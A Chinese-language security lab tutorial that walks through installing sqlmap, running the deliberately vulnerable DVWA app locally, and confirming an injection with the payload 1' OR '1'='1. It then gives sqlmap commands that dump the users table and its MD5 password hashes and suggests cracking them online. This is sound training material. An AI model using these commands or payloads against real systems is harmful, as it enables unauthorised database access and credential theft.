使用 sqlmap 利用 SQL 注入漏洞

LinuxBeginner
立即练习

介绍

在这个实验中,你将学习如何使用 sqlmap(一款自动化 SQL 注入和数据库接管工具)来利用 SQL 注入漏洞。你将练习安装 sqlmap、配置一个易受攻击的 Web 应用程序(DVWA),并执行各种 SQL 注入攻击以提取敏感数据。

该实验展示了识别注入点、执行数据库查询以及分析提取信息的实用技术。通过这个实践练习,你将获得进攻性安全测试和防御性漏洞评估所需的关键技能。

安装 sqlmap

在这一步中,你将安装 sqlmap,这是一款流行的开源渗透测试工具,用于检测和利用 SQL 注入漏洞。SQL 注入是一种常见的 Web 安全漏洞,攻击者可借此干扰数据库查询。sqlmap 能自动完成检测和利用这些漏洞的过程。

sqlmap 是用 Python 编写的,因此我们将使用 Python 的包管理器 pip 来安装它。pip 是 Python 自带的工具,可帮助你安装和管理额外的 Python 包。请仔细按照以下步骤操作:

  1. 首先,确保你处于默认工作目录。这很重要,因为它能让你的项目文件保持有序:
cd ~/project
  1. 将 pip 更新到最新版本。保持 pip 为最新版本可确保你能安装最新版本的包,并避免兼容性问题:
pip install --upgrade pip
  1. 使用 pip 安装 sqlmap。此命令会从 Python 包索引(PyPI)下载 sqlmap 及其所有依赖项:
pip install sqlmap
  1. 通过检查版本来验证安装情况。这能确认 sqlmap 已正确安装,并显示你安装的版本:
sqlmap --version

你应该会看到类似以下的输出:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x

这确认 sqlmap 已成功安装。由于 pip 会将包安装到用户的 Python 环境中,因此该工具在你的系统中全局可用。法律声明提醒你,sqlmap 只能用于你已获得测试权限的系统。

初学者的关键点:

  • pip 会自动处理 Python 包的下载和安装
  • --upgrade 标志可将 pip 自身更新到最新版本
  • sqlmap 会安装在 Python 的 site-packages 目录中,所有 Python 包都存放在此
  • --version 标志是在许多命令行工具中验证安装的标准方法
  • 输出会显示 sqlmap 的版本号以及关于正确使用的重要法律信息

搭建易受攻击的 Web 应用

在这一步中,你将设置一个名为“Damn Vulnerable Web Application”(DVWA)的故意设计为易受攻击的 Web 应用程序,它包含 SQL 注入漏洞。这将作为我们使用 sqlmap 练习 SQL 注入技术的测试环境。DVWA 是专门为安全专业人员和学生设计的,用于在安全、合法的环境中学习 Web 漏洞相关知识。

  1. 首先,确保你处于正确的目录。~/project 目录是我们存放所有实验文件的地方:
cd ~/project
  1. 从 GitHub 克隆 DVWA 仓库。此命令会将所有应用程序文件下载到你的本地机器:
git clone https://github.com/digininja/DVWA.git
  1. 进入 DVWA 目录。克隆完成后,所有应用程序文件都存放在这里:
cd DVWA
  1. 启动 PHP 内置的 Web 服务器。我们使用 8000 端口,因为它通常可用,且不会与其他服务冲突。0.0.0.0 表示服务器将接受来自任何网络接口的连接:
php -S 0.0.0.0:8000
  1. 在保持服务器运行的同时,打开一个新的终端标签页(右键单击终端并选择“New Tab”)。这使你可以在 Web 服务器保持活动的同时继续工作。

  2. 在新标签页中,验证服务器是否正常运行。curl 命令会获取主页内容,以确认应用程序正在响应:

curl http://localhost:8000

你应该会看到包含“Damn Vulnerable Web Application (DVWA)”的 HTML 输出。

对于初学者理解这些组件:

  • DVWA 是一个 PHP/MySQL Web 应用程序,专门为学习目的设计了安全漏洞
  • PHP 内置服务器 (php -S) 是在开发过程中运行 PHP 应用程序的简单方法
  • 当 80 端口不可用时,8000 端口是开发服务器常用的替代端口
  • 你可以在浏览器中通过 http://localhost:8000 访问该应用程序

注意:在整个实验过程中,请保持第一个终端标签页中的服务器运行。所有后续步骤都将使用这个易受攻击的应用程序。如果你不小心关闭了这个标签页,你需要重复步骤 4 来重新启动服务器。

定位注入点

在这一步中,我们将学习如何在 DVWA(Damn Vulnerable Web Application)中识别基本的 SQL 注入漏洞。在使用 sqlmap 等自动化工具之前,这是至关重要的第一步,因为我们需要手动确认漏洞所在的位置。

  1. 首先,确保 DVWA 服务器仍在运行(从步骤 2 开始)。如果没有运行,请重新启动它:
cd ~/project/DVWA && php -S 0.0.0.0:8000

此命令会在 8000 端口启动一个运行 DVWA 的 PHP Web 服务器。

  1. 在浏览器中访问以下地址打开 DVWA:
http://localhost:8000
  1. 使用以下凭据登录:
Username: admin
Password: password

这些是 DVWA 提供的用于测试目的的默认凭据。

  1. 将安全级别设置为“low”(左侧菜单:DVWA Security -> set to Low -> Submit)
    DVWA 有不同的安全级别,我们使用“low”级别是为了在没有防护措施的情况下演示基本漏洞。

  2. 在左侧菜单中导航到“SQL Injection”
    这里是我们测试 SQL 注入漏洞的地方。

  3. 在“User ID”字段中输入以下内容来测试 SQL 注入:

1' OR '1'='1

这是一个经典的 SQL 注入测试字符串。让我们来分析一下:

  • 单引号 (') 用于闭合原始查询
  • OR '1'='1' 添加了一个始终为真的条件
  • 它们共同操纵 SQL 查询以返回所有记录
  1. 点击“Submit”。你应该会看到返回了所有用户记录,这表明注入成功。
    如果你看到的数据比预期的多(显示了所有用户而不只是一个),这就证实了注入成功。

初学者的关键概念:

  • 当用户输入未经适当清理就直接包含在数据库查询中时,就会发生 SQL 注入
  • 单引号 (') 是用于破坏预期 SQL 查询语法的常用字符
  • 'OR '1'='1' 是一个基本的测试有效负载,通过创建一个始终为真的条件来利用此漏洞
  • “low”安全级别移除了防护措施,以便我们专注于学习漏洞

这次成功的测试表明“User ID”参数容易受到 SQL 注入攻击。在下一步中,我们将使用这个已确认的漏洞点,结合 sqlmap 进行更高级的利用。请记住,手动查找注入点有助于理解自动化工具的工作原理。

使用 sqlmap 提取数据

在这一步中,你将使用自动化 SQL 注入工具 sqlmap 来利用我们之前识别出的漏洞。SQL 注入使攻击者能够直接与数据库进行交互,而 sqlmap 则通过测试参数和提取信息来帮助自动化这一过程。

  1. 首先,确保你位于项目目录中,我们将在该目录中执行所有命令:
cd ~/project
  1. 针对易受攻击的页面运行 sqlmap。--cookie 参数在这里至关重要,因为 DVWA 需要进行身份验证。将 <PHPSESSID> 替换为你登录 DVWA 时获得的 cookie 值:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch

--batch 标志指示 sqlmap 自动使用默认选项,这对初学者学习该工具很有帮助。

  1. 当 sqlmap 询问是否保存会话时,输入“Y”并按回车键。这允许你在需要时稍后恢复扫描。

  2. 要发现服务器上存在哪些数据库,我们将使用 --dbs 标志,它代表“databases”:

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
  1. 输出将显示可用的数据库。你应该会看到列出了两个数据库:
available databases [2]:
[*] dvwa
[*] information_schema

dvwa 是我们的目标数据库,而 information_schema 是一个包含元数据的标准 MySQL 数据库。

  1. 现在让我们查看 dvwa 数据库中的表。-D 参数指定数据库名称,--tables 列出其内容:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch

关键参数解释:

  • --cookie:包含你的会话凭证,以维持经过身份验证的访问
  • --batch:以非交互模式运行 sqlmap,使用默认选项
  • --dbs:发现服务器上可用的数据库名称
  • -D:选择要调查的特定数据库
  • --tables:检索所选数据库中的表列表

分析检索到的数据

在这一步中,我们将检查 sqlmap 通过 SQL 注入成功提取的敏感数据库信息。这通过展示攻击者能够访问的确切数据,说明了 SQL 注入漏洞在现实世界中的影响。

  1. 首先,让我们从 DVWA 数据库的 users 表中检索所有数据。此命令是在我们之前操作的基础上进行的,但现在我们专门针对 users 表以查看凭证信息(将 <PHPSESSID> 替换为你的会话 cookie):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch

-D dvwa 指定数据库,-T users 目标为 users 表,--dump 检索其所有内容。

  1. 输出显示了存储在数据库中的敏感用户信息:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user    | password                         | avatar    | last_login | failed_login        |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1       | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL       | 0                   |
| 2       | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL       | 0                   |
| 3       | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg  | NULL       | 0                   |
| 4       | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL       | 0                   |
| 5       | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL       | 0                   |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+

注意,密码列包含的是 MD5 哈希值,而非明文密码。虽然这比存储原始密码要好,但 MD5 被认为在密码学上已被破解,容易受到彩虹表攻击。

  1. 你可以通过复制并粘贴哈希值,使用 CrackStation 等在线工具尝试破解这些哈希值。这展示了弱哈希算法如何被逆向破解以揭示原始密码。

  2. 为了了解完整的数据库结构,我们可以检索其模式:

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch

--schema 标志会显示所有表及其列结构,为攻击者提供整个数据库的路线图。这对于进一步的利用来说是极其有价值的信息。

初学者的关键要点:

  • --dump 参数可从指定表中提取所有数据
  • MD5 哈希值通常可以使用预计算的彩虹表进行破解
  • 数据库模式信息有助于攻击者了解数据结构
  • 此练习展示了单个 SQL 注入漏洞如何导致整个数据库被攻破
  • 始终使用像 bcrypt 这样强大的加盐哈希算法来存储密码

总结

在本次实验中,你学习了如何安装和使用 sqlmap 进行 SQL 注入测试,从通过 pip 安装和版本验证进行环境设置开始。本实验指导你将 DVWA 部署为易受攻击的目标,并搭建了本地测试服务器。

你已经练习了如何识别 SQL 注入漏洞,并使用 sqlmap 的自动化工具提取数据。这些练习涵盖了基本的命令行操作,同时展示了用于检测数据库漏洞的实用网络安全测试技术。